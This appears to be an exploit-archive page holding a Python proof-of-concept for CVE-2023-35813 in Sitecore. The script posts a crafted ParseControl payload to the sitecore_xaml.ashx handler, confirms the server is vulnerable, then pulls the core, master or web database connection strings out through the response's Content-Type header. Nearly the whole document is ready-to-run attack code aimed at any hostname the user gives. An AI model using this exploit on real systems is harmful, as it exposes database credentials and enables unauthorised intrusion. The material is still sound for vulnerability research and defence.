ce58678266
7 changes to exploits/shellcodes/ghdb Sitecore - Remote Code Execution v8.2 Hitachi NAS (HNAS) System Management Unit (SMU) Backup & Restore < 14.8.7825.01 - IDOR Adobe ColdFusion versions 2018_15 (and earlier) and 2021_5 and earlier - Arbitrary File Read WordPress Plugin Duplicator < 1.5.7.1 - Unauthenticated Sensitive Data Exposure to Account Takeover Microsoft Windows Defender / Trojan.Win32/Powessere.G - Detection Mitigation Bypass
102 lines
No EOL
3.9 KiB
Python
Executable file
102 lines
No EOL
3.9 KiB
Python
Executable file
#!/usr/bin/env python3
|
|
#
|
|
# Exploit Title: Sitecore - Remote Code Execution v8.2
|
|
# Exploit Author: abhishek morla
|
|
# Google Dork: N/A
|
|
# Date: 2024-01-08
|
|
# Vendor Homepage: https://www.sitecore.com/
|
|
# Software Link: https://dev.sitecore.net/
|
|
# Version: 10.3
|
|
# Tested on: windows64bit / mozila firefox
|
|
# CVE : CVE-2023-35813
|
|
# The vulnerability impacts all Experience Platform topologies (XM, XP, XC) from 9.0 Initial Release to 10.3 Initial Release; 8.2 is also impacted
|
|
# Blog : https://medium.com/@abhishekmorla/uncovering-cve-2023-35813-retrieving-core-connection-strings-in-sitecore-5502148fce09
|
|
# Video POC : https://youtu.be/vWKl9wgdTB0
|
|
|
|
import argparse
|
|
import requests
|
|
from urllib.parse import quote
|
|
from rich.console import Console
|
|
|
|
console = Console()
|
|
def initial_test(hostname):
|
|
# Initial payload to test vulnerability
|
|
test_payload = '''
|
|
<%@Register
|
|
TagPrefix = 'x'
|
|
Namespace = 'System.Runtime.Remoting.Services'
|
|
Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
|
|
%>
|
|
<x:RemotingService runat='server'
|
|
Context-Response-ContentType='TestVulnerability'
|
|
/>
|
|
'''
|
|
encoded_payload = quote(test_payload)
|
|
|
|
url = f"https://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
|
|
headers = {"Content-Type": "application/x-www-form-urlencoded"}
|
|
data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)
|
|
|
|
response = requests.post(url, headers=headers, data=data, verify=False)
|
|
|
|
# Check for the test string in the Content-Type of the response
|
|
return 'TestVulnerability' in response.headers.get('Content-Type', '')
|
|
|
|
def get_payload(choice):
|
|
# Payload templates for different options
|
|
payloads = {
|
|
'1': "<%$ ConnectionStrings:core %>",
|
|
'2': "<%$ ConnectionStrings:master %>",
|
|
'3': "<%$ ConnectionStrings:web %>"
|
|
}
|
|
|
|
base_payload = '''
|
|
<%@Register
|
|
TagPrefix = 'x'
|
|
Namespace = 'System.Runtime.Remoting.Services'
|
|
Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
|
|
%>
|
|
<x:RemotingService runat='server'
|
|
Context-Response-ContentType='{}'
|
|
/>
|
|
'''
|
|
|
|
return base_payload.format(payloads.get(choice, "Invalid"))
|
|
|
|
def main(hostname):
|
|
if initial_test(hostname):
|
|
print("Exploiting, Please wait...")
|
|
console.print("[bold green]The target appears to be vulnerable. Proceed with payload selection.[/bold green]")
|
|
print("Select the payload to use:")
|
|
print("1: Core connection strings")
|
|
print("2: Master connection strings")
|
|
print("3: Web connection strings")
|
|
payload_choice = input("Enter your choice (1, 2, or 3): ")
|
|
|
|
payload = get_payload(payload_choice)
|
|
encoded_payload = quote(payload)
|
|
|
|
url = f"http://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
|
|
headers = {"Content-Type": "application/x-www-form-urlencoded"}
|
|
data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)
|
|
|
|
response = requests.post(url, headers=headers, data=data)
|
|
|
|
if 'Content-Type' in response.headers:
|
|
print("Content-Type from the response header:")
|
|
print("\n")
|
|
print(response.headers['Content-Type'])
|
|
else:
|
|
print("No Content-Type in the response header. Status Code:", response.status_code)
|
|
else:
|
|
print("The target does not appear to be vulnerable to CVE-2023-35813.")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
console.print("[bold green]Author: Abhishek Morla[/bold green]")
|
|
console.print("[bold red]CVE-2023-35813[/bold red]")
|
|
parser = argparse.ArgumentParser(description='Test for CVE-2023-35813 vulnerability in Sitecore')
|
|
parser.add_argument('hostname', type=str, help='Hostname of the target Sitecore instance')
|
|
args = parser.parse_args()
|
|
|
|
main(args.hostname) |